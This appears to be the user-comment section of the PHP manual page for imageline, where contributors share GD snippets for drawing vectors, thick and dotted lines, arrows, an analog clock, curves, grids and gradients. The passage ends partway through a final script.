A quick function using imageline that I wrote so i could specify a starting point, angle and length of vector.

Thought other people might find this useful.

<?php
$size = 600;
$img = imagecreatetruecolor($size, $size);

$white = imagecolorallocate($img, 255, 255, 255);
$black = imagecolorallocate($img, 0, 0, 0);

imagefilledrectangle($img,0,0,$size,$size,$white);

function Vector($palette,$startx,$starty,$angle,$length,$colour){
    $angle = deg2rad($angle);
    $endx = $startx+cos($angle)*$length;
    $endy = $starty-sin($angle)*$length;
    return(imageline($palette,$startx,$starty,$endx,$endy,$colour));
}

Vector($img,$size/2,$size/2,30,200,$black);

header("Content-type: image/png");
imagepng($img);

?>

For this script angles work in a anti-clockwise direction (modify + and - in function to change start of 0 degrees and also direction of angle calculated)
Anonymous 24-Jul-2011 06:44
The most bold-line-functions i found have problems with lines in a certian direction (they draw smaller lines with some angles). To do a real bold line just use this function:

<?php
function imageBoldLine($resource, $x1, $y1, $x2, $y2, $Color, $BoldNess=2, $func='imageLine')
{
 $center = round($BoldNess/2);
 for($i=0;$i<$BoldNess;$i++)
 {
  $a = $center-$i; if($a<0){$a -= $a;}
  for($j=0;$j<$BoldNess;$j++)
  {
   $b = $center-$j; if($b<0){$b -= $b;}
   $c = sqrt($a*$a + $b*$b);
   if($c<=$BoldNess)
   {
    $func($resource, $x1 +$i, $y1+$j, $x2 +$i, $y2+$j, $Color);
   }
  }
 }
}
?>
allenn at hot dot ee 31-May-2010 11:55
Function drawing of a line by a brush uses midpoint circle algorithm..., if dullness I agree to remove :)))

<?php
//function drawLine(resource$image,int $x0,int $y0,int $x1,int $y1,int $lineWidth,int $color)
function drawLine($image,$x0, $y0,$x1, $y1,$radius,$color)
{
  $f = 1 - $radius;
  $ddF_x= 1;
  $ddF_y = -2 * $radius;
  $x= 0;
  $y = $radius;
    imageline($image,$x0, $y0 + $radius,$x1, $y1 + $radius,$color);
     imageline($image,$x0, $y0 - $radius,$x1, $y1 - $radius,$color);
    imageline($image,$x0 + $radius, $y0,$x1 + $radius, $y1,$color);
    imageline($image,$x0 - $radius, $y0,$x1 - $radius, $y1,$color);

  while($x< $y)
  {
    if($f >= 0)
    {
      $y--;
      $ddF_y += 2;
      $f += $ddF_y;
    }
    $x++;
    $ddF_x+= 2;
    $f += $ddF_x;
    imageline($image,$x0 + $x, $y0 + $y,$x1 + $x, $y1+ $y,$color);
       imageline($image,$x0 - $x, $y0 + $y,$x1 - $x, $y1 + $y,$color);
       imageline($image,$x0 + $x, $y0 - $y,$x1 + $x, $y1 - $y,$color);
       imageline($image,$x0 - $x, $y0 - $y,$x1 - $x, $y1 - $y,$color);
       imageline($image,$x0 + $y, $y0 + $x,$x1 + $y, $y1 + $x,$color);
       imageline($image,$x0 - $y, $y0 + $x,$x1 - $y, $y1 + $x,$color);
       imageline($image,$x0 + $y, $y0 - $x,$x1 + $y, $y1 - $x,$color);
       imageline($image,$x0 - $y, $y0 - $x,$x1 - $y, $y1 - $x,$color);

  }
}
header ('Content-type: image/png');
$img = imagecreatetruecolor(600,600);
$col = imagecolorallocate($img,0,255,252);
//use the function
rasterCircle($img,50, 50,540,540,40,$col);
imagepng($img);
imagedestroy($img);
?>
sbm007 at gmail dot com 15-Nov-2009 12:17
Here is a analog clock representation of the system time along with digits for hours and little dots for minutes/seconds:

<?php
$img = imagecreatetruecolor(450, 450);

$white = imagecolorallocate($img, 255, 255, 255);
$red = imagecolorallocate($img, 255, 0, 0);
$black = imagecolorallocate($img, 0, 0, 0);
$grey = imagecolorallocate($img, 211, 211, 211);

imagefill($img, 0, 0, $white);
imagearc($img, 224, 224, 400, 400, 0, 0, $black);
imagefilledarc($img, 224, 224, 15, 15, 0, 0, $black, IMG_ARC_PIE);

for ($zz = 0; $zz < 60; $zz++) {
    $digitCoords['x'][] = 175 * cos(deg2rad(($zz-10) * (360/60))) + 224;
    $digitCoords['y'][] = 175 * sin(deg2rad(($zz-10) * (360/60))) + 224;
}

for ($zz = 0; $zz < 60; $zz++) {
    if ($zz % 5 == 0)
        imagestring($img, 5, $digitCoords['x'][$zz] - 4, $digitCoords['y'][$zz] - 6, ($zz/5) + 1, $black);
    else
        imagefilledarc($img, $digitCoords['x'][$zz], $digitCoords['y'][$zz], 3, 3, 0, 0, $grey, IMG_ARC_PIE);
}

$seconds = date('s');
$minutes = date('i') + ($seconds/60);
$hours = date('h') + ($minutes/60);

$r_sec = 175;
$r_min = 175;
$r_hr = 125;

$x_sec = $r_sec * cos(deg2rad(($seconds-15) * (360/60))) + 224;
$y_sec = $r_sec * sin(deg2rad(($seconds-15) * (360/60))) + 224;

$x_min = $r_min * cos(deg2rad(($minutes-15) * (360/60))) + 224;
$y_min = $r_min * sin(deg2rad(($minutes-15) * (360/60))) + 224;

$x_hr = $r_hr * cos(deg2rad(($hours-3) * (360/12))) + 224;
$y_hr = $r_hr * sin(deg2rad(($hours-3) * (360/12))) + 224;

imageline($img, 224, 224, $x_sec, $y_sec, $red);
imagesetthickness($img, 3);
imageline($img, 224, 224, $x_min, $y_min, $black);
imagesetthickness($img, 5);
imageline($img, 224, 224, $x_hr, $y_hr, $black);

header("Content-type: image/png");
imagepng($img);

imagedestroy($img);
?>
Anonymous 12-Jul-2009 10:16
Here's another way of modifying likavcan's code to display filled arrows. This makes use of imagefilledpolygon(...) instead of recursive function calls.

<?php
function arrow($im, $x1, $y1, $x2, $y2, $alength, $awidth, $color) {
    $distance = sqrt(pow($x1 - $x2, 2) + pow($y1 - $y2, 2));

    $dx = $x2 + ($x1 - $x2) * $alength / $distance;
    $dy = $y2 + ($y1 - $y2) * $alength / $distance;

    $k = $awidth / $alength;

    $x2o = $x2 - $dx;
    $y2o = $dy - $y2;

    $x3 = $y2o * $k + $dx;
    $y3 = $x2o * $k + $dy;

    $x4 = $dx - $y2o * $k;
    $y4 = $dy - $x2o * $k;

    imageline($im, $x1, $y1, $dx, $dy, $color);
    imagefilledpolygon($im, array($x2, $y2, $x3, $y3, $x4, $y4), 3, $color);
}
?>
ca dot ddy at gmx dot de 31-Mar-2009 02:17
I've modified the Arrow function of likavcan.

This arrowFunction draws the arrow filled :

<?php
function arrow($im, $x1, $y1, $x2, $y2, $alength, $awidth, $color) {

    if( $alength > 1 )
        arrow( $im, $x1, $y1, $x2, $y2, $alength - 1, $awidth - 1, $color );

    $distance = sqrt(pow($x1 - $x2, 2) + pow($y1 - $y2, 2));

    $dx = $x2 + ($x1 - $x2) * $alength / $distance;
    $dy = $y2 + ($y1 - $y2) * $alength / $distance;

    $k = $awidth / $alength;

    $x2o = $x2 - $dx;
    $y2o = $dy - $y2;

    $x3 = $y2o * $k + $dx;
    $y3 = $x2o * $k + $dy;

    $x4 = $dx - $y2o * $k;
    $y4 = $dy - $x2o * $k;

    imageline($im, $x1, $y1, $dx, $dy, $color);
    imageline($im, $x3, $y3, $x4, $y4, $color);
    imageline($im, $x3, $y3, $x2, $y2, $color);
    imageline($im, $x2, $y2, $x4, $y4, $color);

}
?>
keksnicoh 07-Dec-2008 09:12
Little function I made to draw faaaaat lines...

<?php
/**
 * imageBoldLine function
 * this function allows you to draw faaaat lines.
 *
 * To keep the function a bit more flexible, it's possible to change the function which draw the lines
 * @param resource $resource
 * @param int $x1
 * @param int $y1
 * @param int $x2
 * @param int $y2
 * @param int $Color
 * @param int $BoldNess (1 = thin, 2=bold, 1000 = extreme fat)
 * @param string $func Functionname. Notice that the function must got the same signature.
 * @return void
 * @author Nicolas 'keksnicoh' Heimann <www.salamipla.net>
 * @date nov08
 * <code><?php
 * imageBoldLine($res, 0, 0, 100, 100, $col, 5);
 * ?></code>
 */
function imageBoldLine($resource, $x1, $y1, $x2, $y2, $Color, $BoldNess=2, $func='imageLine')
{
    $x1 -= ($buf=ceil(($BoldNess-1) /2));
    $x2 -= $buf;
    for($i=0;$i < $BoldNess;++$i)
        $func($resource, $x1 +$i, $y1, $x2 +$i, $y2, $Color);
}
?>
huirong dot jin at gmail dot com 01-Feb-2008 05:10
An example to draw Lissajous Curve (http://en.wikipedia.org/wiki/Lissajous_curve):
x = a1 * cos(t/T1);
y = a2 * sin(t/T2);

You can easily modify the codes to create your own oscilloscope application!

<?php
header ("Content-type: image/png");

$T1 = 20;
$T2 = 30;

$myImage = @imagecreatetruecolor(640, 480)
      or die("Cannot Initialize new GD image stream");
$text_color = imagecolorallocate($myImage, 255, 255, 224);
$poly_color = imagecolorallocate($myImage, 124, 120, 224);

//calculate x-value and y-value point by point
$points = array();
for ($i=0; $i<1000; $i=$i+1)
{
    //define curve's function
    $x = 310*cos($i/$T1); //define x-value
    $y = 230*sin($i/$T2);//define y-value

    //move the coordinate, append a point's x-value and y-value
    $points[] = 320+$x; //x-value
    $points[] = 240-$y;  //y-value
}

//count points
$totalPoints = count($points)/2;

//drawing title
$title = "Final Plot ($totalPoints points)";
imagestring($myImage, 3, 5, 5,  $title, $text_color);

/** drawing points one by one, notice if there
 * are 10 points, we need to draw 9 lines:
 * 1) point 0 to 1;
 * 2) point 1 to 2;
 * ...
 * ...
 * 9) point 8 to 9;
 */
for ($i=0; $i<$totalPoints-1; $i++)
{
    imageLine($myImage, $points[2*$i], $points[1+2*$i], $points[2+2*$i], $points[3+2*$i], $poly_color);
}

//finalizing
imagepng($myImage);
imagedestroy($myImage);
?>
huirong dot jin at gmail dot com 31-Jan-2008 10:57
An example to draw Amplitude Modulation curve: y = c * sin (x/a) * sin (x/b) . You can easily modify the codes to create your own oscilloscope application!

<?php
header ("Content-type: image/png");
$myImage = @imagecreatetruecolor(640, 480)
      or die("Cannot Initialize new GD image stream");
$text_color = imagecolorallocate($myImage, 255, 255, 224);
$poly_color = imagecolorallocate($myImage, 124, 120, 224);

//calculate x-value and y-value point by point
$points = array();
for ($i=1; $i<640; $i=$i+1)
{
    //define curve's function
    $x = $i; //define x-value, which is $i itself
    $y = 150*sin($x/80)*sin($x/5);//define y-value

    //append a point's x-value and y-value
    $points[] = $x; //x-value
    $points[] = 240-$y;  //y-value
}

//count points
$totalPoints = count($points)/2;

//drawing title
$title = "Final Plot ($totalPoints points)";
imagestring($myImage, 3, 5, 5,  $title, $text_color);

/** drawing points one by one, notice if there
 * are 10 points, we need to draw 9 lines:
 * 1) point 0 to 1;
 * 2) point 1 to 2;
 * ...
 * ...
 * 9) point 8 to 9;
 */
for ($i=0; $i<$totalPoints-1; $i++)
{
    imageLine($myImage, $points[2*$i], $points[1+2*$i], $points[2+2*$i], $points[3+2*$i], $poly_color);
}

//finalizing
imagepng($myImage);
imagedestroy($myImage);
?>
admin at xpmail dot net 01-May-2007 02:45
example of a Simple grid...
bool imagegrid ( resource $image, int $width, int $Height, int $size, mixed $color )

<?php
Header("Content-type: image/png");
$Width=450;
$Height=450;

$img = ImageCreateTrueColor($Width, $Height);

$bg = imagecolorallocate($img, 255, 255, 255);
imagefill($img, 0, 0, $bg);

$grid = imagecolorallocate($img, 225, 245, 249);

imagesetstyle($img, array($bg, $grid));
imagegrid($img, $Width, $Height, 10, IMG_COLOR_STYLED);
//makegrid($img, $Width, $Height, 10, $grid);

ImagePNG($img);
ImageDestroy($img);

function imagegrid($image, $w, $h, $s, $color)
{
    for($iw=1; $iw<$w/$s; $iw++){imageline($image, $iw*$s, 0, $iw*$s, $w, $color);}
    for($ih=1; $ih<$h/$s; $ih++){imageline($image, 0, $ih*$s, $w, $ih*$s, $color);}
}
?>
Jonathan W. 27-Apr-2007 10:15
I've modified the previous entry for drawing on a polar coordinate system to better represent angles based on a 360º whole circle bearing.

<?php

function imagepolarline($image,$x1,$y1,$length,$angle,$color)
{
    $x2 = $x1 + sin( deg2rad($angle) ) * $length;
    $y2 = $y1 + cos( deg2rad($angle+180) ) * $length;

    imageline($image,$x1,$y1,$x2,$y2,$color);
}

?>
pb_2001 at haefft dot de 04-Mar-2006 11:41
This is a function to make a dotted line. It accepts (it actually requires) 7 parameters and returns 1 if everything went OK and 0 if there was a problem.

int imagelinedotted ( resource im, int x1, int y1, int x2, int y2, int dist, int col )

imagelinedotted() draws a line from x1, y1 to x2, y2 (top left is 0, 0) in image im of colour col where dist defines the distance (measured in pixels) between one dot and another.

<?php
function imagelinedotted ($im, $x1, $y1, $x2, $y2, $dist, $col) {
    $transp = imagecolortransparent ($im);

    $style = array ($col);

    for ($i=0; $i<$dist; $i++) {
        array_push($style, $transp);        // Generate style array - loop needed for customisable distance between the dots
    }

    imagesetstyle ($im, $style);
    return (integer) imageline ($im, $x1, $y1, $x2, $y2, IMG_COLOR_STYLED);
    imagesetstyle ($im, array($col));        // Reset style - just in case...
}
?>
fatpratmatt at gmail dot com 30-Jan-2006 08:43
Here is a function which draws lines that cross at a specific point [It may need some tweaking]:

<?php
// Image Cross by Matt Evans
// $im - image resource
// $x - x coordinate where the lines should cross
// $y - y coordinate where the lines should cross
// $size - the length of each line
// $colour - the colour of the cross

function imagecross($im, $x, $y, $size = 5, $colour) {
imageline($im, $x+$size/2, $y+$size/2, $x-$size/2, $y-$size/2, $colour);
imageline($im, $x-$size/2, $y+$size, $x+$size/2, $y-$size, $colour);
}

// Example
imagecross($im, 50, 50, 5, $crosscolour);
?>
21-Oct-2005 04:30
imageline coordinate variables are documented as int ,  a value in decimal format will be truncated.

This may be useful when, for example, applying a non-integer scaling factor in generating an image.

Care should be taken to ensure this does not create significant errors that affect the quality of the image. For example :

<?php
$x=0.00000000001;$y=100;
imageline($img,0,0,0,$y+$x);
imageline($img,0,0,0,$y-$x);
?>

the first line will be straight , the second will have a step. Use round() where appropriate.
meid at gmx dot at 07-Sep-2005 07:39
Some simple code to draw lines with specific thickness using "imagefilledpolygon". Useful if your gdlib does not support "imagesetthickness".

<?
function dickelinie($img,$start_x,$start_y,$end_x,$end_y,$color,$thickness)
{
    $angle=(atan2(($start_y - $end_y),($end_x - $start_x)));

    $dist_x=$thickness*(sin($angle));
    $dist_y=$thickness*(cos($angle));

    $p1x=ceil(($start_x + $dist_x));
    $p1y=ceil(($start_y + $dist_y));
    $p2x=ceil(($end_x + $dist_x));
    $p2y=ceil(($end_y + $dist_y));
    $p3x=ceil(($end_x - $dist_x));
    $p3y=ceil(($end_y - $dist_y));
    $p4x=ceil(($start_x - $dist_x));
    $p4y=ceil(($start_y - $dist_y));

    $array=array(0=>$p1x,$p1y,$p2x,$p2y,$p3x,$p3y,$p4x,$p4y);
    imagefilledpolygon ( $img, $array, (count($array)/2), $color );
}
// Example:
header ("Content-type: image/jpeg");
$img = ImageCreate (210, 210) or die("Cannot Initialize new GD image stream ");
$backgroundcolor = ImageColorAllocate ($img, 255, 255, 255);
$orange = ImageColorAllocate($img, 252, 102, 4);
dickelinie($img, 10, 10, 10, 200,$orange,2);
dickelinie($img, 10, 200, 200, 10,$orange,2);
dickelinie($img, 200, 10, 200, 200,$orange,2);
imagejpeg($img);
ImageDestroy($img);

?>
d [AT] sprid [DOT] de 06-Sep-2005 12:12
Here my function do clear all problems. With this, you can draw firstly smooth lines (basic code adapted from code_couturier at graffiti dot net, with some performance changes). The special is, you can define the alpha-value of the line (0 = normal smooth line, 127 = fully transparent). Change whatever you want to make it better, but post your results ;)

<?php
/**
 * function imageSmoothAlphaLine() - version 1.0
 * Draws a smooth line with alpha-functionality
 *
 * @param   ident    the image to draw on
 * @param   integer  x1
 * @param   integer  y1
 * @param   integer  x2
 * @param   integer  y2
 * @param   integer  red (0 to 255)
 * @param   integer  green (0 to 255)
 * @param   integer  blue (0 to 255)
 * @param   integer  alpha (0 to 127)
 *
 * @access  public
 *
 * @author  DASPRiD <d@sprid.de>
 */
function imageSmoothAlphaLine ($image, $x1, $y1, $x2, $y2, $r, $g, $b, $alpha=0) {
  $icr = $r;
  $icg = $g;
  $icb = $b;
  $dcol = imagecolorallocatealpha($image, $icr, $icg, $icb, $alpha);

  if ($y1 == $y2 || $x1 == $x2)
    imageline($image, $x1, $y2, $x1, $y2, $dcol);
  else {
    $m = ($y2 - $y1) / ($x2 - $x1);
    $b = $y1 - $m * $x1;

    if (abs ($m) <2) {
      $x = min($x1, $x2);
      $endx = max($x1, $x2) + 1;

      while ($x < $endx) {
        $y = $m * $x + $b;
        $ya = ($y == floor($y) ? 1: $y - floor($y));
        $yb = ceil($y) - $y;

        $trgb = ImageColorAt($image, $x, floor($y));
        $tcr = ($trgb >> 16) & 0xFF;
        $tcg = ($trgb >> 8) & 0xFF;
        $tcb = $trgb & 0xFF;
        imagesetpixel($image, $x, floor($y), imagecolorallocatealpha($image, ($tcr * $ya + $icr * $yb), ($tcg * $ya + $icg * $yb), ($tcb * $ya + $icb * $yb), $alpha));

        $trgb = ImageColorAt($image, $x, ceil($y));
        $tcr = ($trgb >> 16) & 0xFF;
        $tcg = ($trgb >> 8) & 0xFF;
        $tcb = $trgb & 0xFF;
        imagesetpixel($image, $x, ceil($y), imagecolorallocatealpha($image, ($tcr * $yb + $icr * $ya), ($tcg * $yb + $icg * $ya), ($tcb * $yb + $icb * $ya), $alpha));

        $x++;
      }
    } else {
      $y = min($y1, $y2);
      $endy = max($y1, $y2) + 1;

      while ($y < $endy) {
        $x = ($y - $b) / $m;
        $xa = ($x == floor($x) ? 1: $x - floor($x));
        $xb = ceil($x) - $x;

        $trgb = ImageColorAt($image, floor($x), $y);
        $tcr = ($trgb >> 16) & 0xFF;
        $tcg = ($trgb >> 8) & 0xFF;
        $tcb = $trgb & 0xFF;
        imagesetpixel($image, floor($x), $y, imagecolorallocatealpha($image, ($tcr * $xa + $icr * $xb), ($tcg * $xa + $icg * $xb), ($tcb * $xa + $icb * $xb), $alpha));

        $trgb = ImageColorAt($image, ceil($x), $y);
        $tcr = ($trgb >> 16) & 0xFF;
        $tcg = ($trgb >> 8) & 0xFF;
        $tcb = $trgb & 0xFF;
        imagesetpixel ($image, ceil($x), $y, imagecolorallocatealpha($image, ($tcr * $xb + $icr * $xa), ($tcg * $xb + $icg * $xa), ($tcb * $xb + $icb * $xa), $alpha));

        $y ++;
      }
    }
  }
} // end of 'imageSmoothAlphaLine()' function
?>
Tyron 02-May-2005 08:50
// Here's a function for drawing a rotated gradient Rectangle (based on a previous note)

// Create An Image 255x255
$img = ImageCreateTrueColor(255, 255);

GradientRect($img,50,50,80,80,30);

ImagePng($img,"test.png");
ImageDestroy($img);
echo "<br><img src=\"test.png\">";

function GradientRect($img, $x1, $y1, $x2, $y2, $wdt) {
  $alpha = atan2($y2-$y1,$x2-$x1);
  $real_wdt = $wdt*sin($alpha);
  $real_hgt = $wdt*cos($alpha);
  echo "real wdt:".$real_wdt;
  echo "<br>real hgt:".$real_hgt;
  echo "<br>angle: ".($angle*180/pi());
  $plotD = 0;
  $i=0;

  $dy = $real_hgt/$wdt;
  $dx = $real_wdt/$wdt;
  $drgb= 256/$wdt;
  while($i++ < $wdt) {
    // Draw a line and move it down and make it lighter to get the gradient effect
    ImageLine($img, $x1-$i*$dx, $y1+$i*$dy, $x2-$i*$dx, $y2+$i*$dy, ImageColorAllocate($img, $i*$drgb, 0, 0));
    ImageLine($img, $x1-$i*$dx+1, $y1+$i*$dy, $x2-$i*$dx+1, $y2+$i*$dy, ImageColorAllocate($img, $i*$drgb, 0, 0));

  }
}
ajreading at classixshop dot com 23-Apr-2005 04:28
<?php
// An easy bit of code showing how you can use the ImageLine() function to create gradients

// Create An Image 255x255
$img = ImageCreateTrueColor(255, 255);

$plotD = 0;
while($plotD < 256)
{
    // Draw a line and move it down and make it lighter to get the gradient effect
    ImageLine($img, 0, $plotD , 255, $plotD, ImageColorAllocate($img, $plotD, $plotD, $plotD));
    $plotD++;
}
Header("Content-type: image/png");
ImagePng($img);
ImageDestroy($img);
?>
eviloverlord at gmail dot com 27-Jan-2005 04:50
This code is used to draw a board of hexagons (for games, classes, etc.)

<?php
//Draws a hexagonal board

// User-defined values
$maxTiles = 7;                    //The number of tiles at the center (widest part) of the board
$minTiles = 4;                    //The number of tiles at the edges of the board
$side = 30;                        //The length of the sides of the tiles in pixels
$bgColor = array(0, 0, 0);        //The background color in RGB format
$fgColor = array(255, 255, 255);//The foreground color in RGB format

//Calculated values
$widthInTiles = range($maxTiles, $minTiles);            //In our example: 7, 6, 5, 4
$rowsInTiles = count($widthInTiles)*2-1;                //the total number of rows on our board
$xSide = $side*sin(deg2rad(60));                        //the length of the x-part of the angled sides
$ySide = $side*sin(deg2rad(30));                        //the length of the y-part of the angled sides
$boardWidth = $xSide*$widthInTiles[0]*2;                //The entire width of the board
$boardHeight = $rowsInTiles*($side + $ySide) + $ySide;    //The entire height of the board

// create a blank image and allocate the foreground, background colors
$image = imagecreate($boardWidth, $boardHeight);
$bg = imagecolorallocate($image, $bgColor[0], $bgColor[1], $bgColor[2]);
$fg = imagecolorallocate($image, $fgColor[0], $fgColor[1], $fgColor[2]);

// draw the board
$row = 0;
foreach($widthInTiles as $tiles)
{
    for ($i = 0; $i < $tiles+1; $i++)
    {
        $x1 = $row*$xSide + $i*$xSide*2;
        $y1 = $boardHeight/2;
        $y1Dif = ($side/2) + $row*($side+$ySide);

        $x2 = $x1 + $xSide;
        $y2 = $y1;
        $y2Dif = $ySide;

        $x3 = $x2 + $xSide;

        if ($i < $tiles)
        {
            imageline($image, $x1, $y1 - $y1Dif, $x2, $y2 - $y1Dif - $y2Dif, $fg);
            imageline($image,  $x1, $y1 + $y1Dif, $x2, $y2 + $y1Dif + $y2Dif, $fg);
            imageline($image, $x2, $y2 - $y1Dif - $y2Dif, $x3, $y1 - $y1Dif, $fg);
            imageline($image, $x2, $y2 + $y1Dif + $y2Dif, $x3, $y1 + $y1Dif, $fg);
        }

        imageline($image, $x1, $y1 - $y1Dif, $x1, $y1 - $y1Dif + $side, $fg);
        imageline($image, $x1, $y1 + $y1Dif, $x1, $y1 + $y1Dif - $side, $fg);
    }
    $row++;
}

// output the picture
header("Content-type: image/png");
imagepng($image);
imagedestroy($image);
?>
likavcan at NOSPAN sturak nospan dot sk 06-Jun-2004 12:56
This function draws arrow.

function arrow($im, $x1, $y1, $x2, $y2, $alength, $awidth, $color) {

    $distance = sqrt(pow($x1 - $x2, 2) + pow($y1 - $y2, 2));

    $dx = $x2 + ($x1 - $x2) * $alength / $distance;
    $dy = $y2 + ($y1 - $y2) * $alength / $distance;

    $k = $awidth / $alength;

    $x2o = $x2 - $dx;
    $y2o = $dy - $y2;

    $x3 = $y2o * $k + $dx;
    $y3 = $x2o * $k + $dy;

    $x4 = $dx - $y2o * $k;
    $y4 = $dy - $x2o * $k;

    imageline($im, $x1, $y1, $dx, $dy, $color);
    imageline($im, $x3, $y3, $x4, $y4, $color);
    imageline($im, $x3, $y3, $x2, $y2, $color);
    imageline($im, $x2, $y2, $x4, $y4, $color);

}
Lionel Van Bemten 23-May-2004 12:41
here is a code to draw a "degraded" ... :
<?
header("Content-type : image/jpeg");

$image = @ImageCreate(200, 100)
  or die ("Erreur de cr�ation de l'image");

$lignes_colorees = 1;
$couleur_fond = ImageColorAllocate($image, 255, 255, 255);

$rouge_depart = 100;
$vert_depart = 255;
$bleu_depart = 0;

$rouge_fin = 0;
$vert_fin = 100;
$bleu_fin = 0;

$lignes = 100; //nb de lignes de l'image

$vert_diff = $vert_fin - $vert_depart;
$vert1 = $vert_diff / $lignes;

$bleu_diff = $bleu_fin - $bleu_depart;
$bleu1 = $bleu_diff / $lignes;

$rouge_diff = $rouge_fin - $rouge_depart;
$rouge1 = $rouge_diff / $lignes;

while ($lignes_colorees <= 100)
{
    $rouge2 = $lignes_colorees * $rouge1;    $rouge3 = $rouge_depart + $rouge2;
    $rouge = round($rouge3);

    $vert2 = $lignes_colorees * $vert1;
    $vert3 = $vert_depart + $vert2;
    $vert = round($vert2);

    $bleu2 = $lignes_colorees * $bleu1;
    $bleu3 = $bleu_depart + $bleu2;
    $bleu = round($bleu2);

    $y1 = $lignes_colorees;
    $y2 = $lignes_colorees;
    $x1 = 1;    $x2 = 200;

    $couleur = ImageColorAllocate($image, $rouge, $vert, $bleu);
    //dessine la ligne
    ImageLine($image, $x1, $y1, $x2, $y2, $couleur);    $lignes_colorees ++;
}

//dessine l'image
ImageJpeg($image);
?>
ruturaj_v at yahoo dot com 14-May-2004 05:48
here is a function that helps you create arrows...

<?php
function get_arrowheads ($x1, $y1, $x2, $y2, $arrhead, $arrang) {
    $debug = false;

    define("INFINITE", 'INFINITE');
    if (($x2-$x1)==0) {
        if ($y1 == 0) {
            $slope = 0;
        } else {
            $slope = INFINITE;
        }
    } else {
        $slope = -($y2-$y1)/($x2-$x1);
    }

    //$slope = number_format($slope, 2, '.','');
    if ($slope == 'INFINITE') {
        $ang = 90;
    } else {
        $ang = atan ($slope);
        $ang = ($ang * 180)/pi();
    }
    //$ang = number_format($ang, 2, '.', '');
    //echo ($ang);
    //exit;

    //convert the angle
    $arrang1 = ($ang - $arrang);
    $arrangdeg1 = ($ang - $arrang);
    //echo ($arrang1);exit;
    $arrang1 = ($arrang1*pi())/180;

    $arrang2 = ($ang + $arrang);
    $arrangdeg2 = ($ang + $arrang);
    $arrang2 = ($arrang2*pi())/180;
    //echo ($arrang1);

    $arx1 = (floor(cos($arrang1)*$arrhead));
    $ary1 = (floor(sin($arrang1)*$arrhead));
    $arx2 = (floor(cos($arrang2)*$arrhead));
    $ary2 = (floor(sin($arrang2)*$arrhead));
    if ($debug) {
        echo ("Values of arx1.. before add/sub</br>");
        echo ("$arx1,$ary1&nbsp;&nbsp;&nbsp;$arx2,$ary2</br>");
    }
    if ($ang==0) {
        if ($x2 > $x1) {
            $arx1 = $x2 - $arx1;    $ary1 = $y2 - $ary1;
            $arx2 = $x2 - $arx2;    $ary2 = $y2 - $ary2;
        } elseif ($x2 < $x1) {
            $arx1 = $x2 + $arx1;    $ary1 = $y2 - $ary1;
            $arx2 = $x2 + $arx2;    $ary2 = $y2 - $ary2;
        }
    }
    if ($ang > 0 && $ang < 90) {
        if (($x2 > $x1) && ($y2 < $y1)) {
            $arx1 = $x2 - $arx1;    $ary1 = $y2 + $ary1;
            $arx2 = $x2 - $arx2;    $ary2 = $y2 + $ary2;
        } elseif (($x2 < $x1) && ($y2 > $y1)) {
            $arx1 = $x2 + $arx1;    $ary1 = $y2 - $ary1;
            $arx2 = $x2 + $arx2;    $ary2 = $y2 - $ary2;
        }
    }
    if ($ang==90) {
        if (($y2 > $y1)) {
            $arx1 = $x2 - $arx1;    $ary1 = $y2 - $ary1;
            $arx2 = $x2 - $arx2;    $ary2 = $y2 - $ary2;
        } elseif (($y2 < $y1)) {
            $arx1 = $x2 - $arx1;    $ary1 = $y2 + $ary1;
            $arx2 = $x2 - $arx2;    $ary2 = $y2 + $ary2;
        }
    }
    if ($ang > -90 && $ang < 0) {
        if (($x2 > $x1) && ($y2 > $y1)) {
            $arx1 = $x2 - $arx1;    $ary1 = $y2 + $ary1;
            $arx2 = $x2 - $arx2;    $ary2 = $y2 + $ary2;
        } elseif (($x2 < $x1) && ($y2 < $y1)) {
            $arx1 = $x2 + $arx1;    $ary1 = $y2 - $ary1;
            $arx2 = $x2 + $arx2;    $ary2 = $y2 - $ary2;
        }
    }

    if ($debug) {
        echo ("Angle of line is (".$ang*180/pi().")</br>");
        echo ("Angle of line1 is $arrangdeg1</br>");
        echo ("Angle of line2 is $arrangdeg2</br>");
        echo ("$arx1,$ary1&nbsp;&nbsp;&nbsp;$x2,$y2</br>");
        echo ("$arx2,$ary2&nbsp;&nbsp;&nbsp;$x2,$y2");
        exit;
    }

    $array_arrows = array (
                    'x1' =>$arx1,
                    'y1' => $ary1,
                    'x2' => $arx2,
                    'y2' => $ary2
                    );
    return $array_arrows;

}

$x1 = 200; $y1 = 200;
$x2 = 400; $y2 = 100;
$arrhead = 15; //10px
$arrang = 10; //10 deg

$ar_arrws = get_arrowheads ($x1, $y1, $x2, $y2, $arrhead, $arrang);

$im  = imagecreate (400, 400);
$w   = imagecolorallocate ($im, 255, 255, 255);
$red = imagecolorallocate ($im, 255, 0, 0);

//creates the base line
imageline ($im, $x1, $y1, $x2, $y2, $green);
imageline ($im, $x1+1, $x2+1, $y1+1, $y2+1, $red);
imageline ($im, $x2, $y2, $ar_arrws['x1'], $ar_arrws['y1'], $green);
imageline ($im, $x2, $y2, $ar_arrws['x2'], $ar_arrws['y2'], $green);

?>
yl at sota dot ch 14-Apr-2004 06:44
Simple function to create border for jpg-images:

function createImageBorder($imgName){

     $img     =  substr($imgName, 0, -4); // remove fileExtension
     $ext     = ".jpg";
     $quality = 95;
     $borderColor = 255;  // 255 = white

    /*
     a                         b
     +-------------------------+
     |
     |          IMAGE
     |
     +-------------------------+
     c                         d
    */

    $scr_img = imagecreatefromjpeg($img.$ext);
    $width   = imagesx($scr_img);
    $height  = imagesy($scr_img);

        // line a - b
        $abX  = 0;
        $abY  = 0;
        $abX1 = $width;
        $abY1 = 0;

        // line a - c
        $acX  = 0;
        $acY  = 0;
        $acX1 = 0;
        $acY1 = $height;

        // line b - d
        $bdX  = $width-1;
        $bdY  = 0;
        $bdX1 = $width-1;
        $bdY1 = $height;

        // line c - d
        $cdX  = 0;
        $cdY  = $height-1;
        $cdX1 = $width;
        $cdY1 = $height-1;

       // DRAW LINES
        imageline($scr_img,$abX,$abY,$abX1,$abY1,$borderColor);
        imageline($scr_img,$acX,$acY,$acX1,$acY1,$borderColor);
        imageline($scr_img,$bdX,$bdY,$bdX1,$bdY1,$borderColor);
        imageline($scr_img,$cdX,$cdY,$cdX1,$cdY1,$borderColor);

      // create copy from image
        imagejpeg($scr_img, $img."_border.jpg", $quality);
        imagedestroy($scr_img);
  }

    createImageBorder("myfile.jpg");
XxXoldsaltXxX at hotmail dot com 14-Feb-2004 07:50
Script to draw a grid of lines, which make the entire side of the picture look like a quarter circle.. very cool :)
<?php
$img_disp = imagecreate(1000,1000);
$backcolor = imagecolorallocate($img_disp,0,0,0);
imagefill($img_disp,0,0,$backcolor);
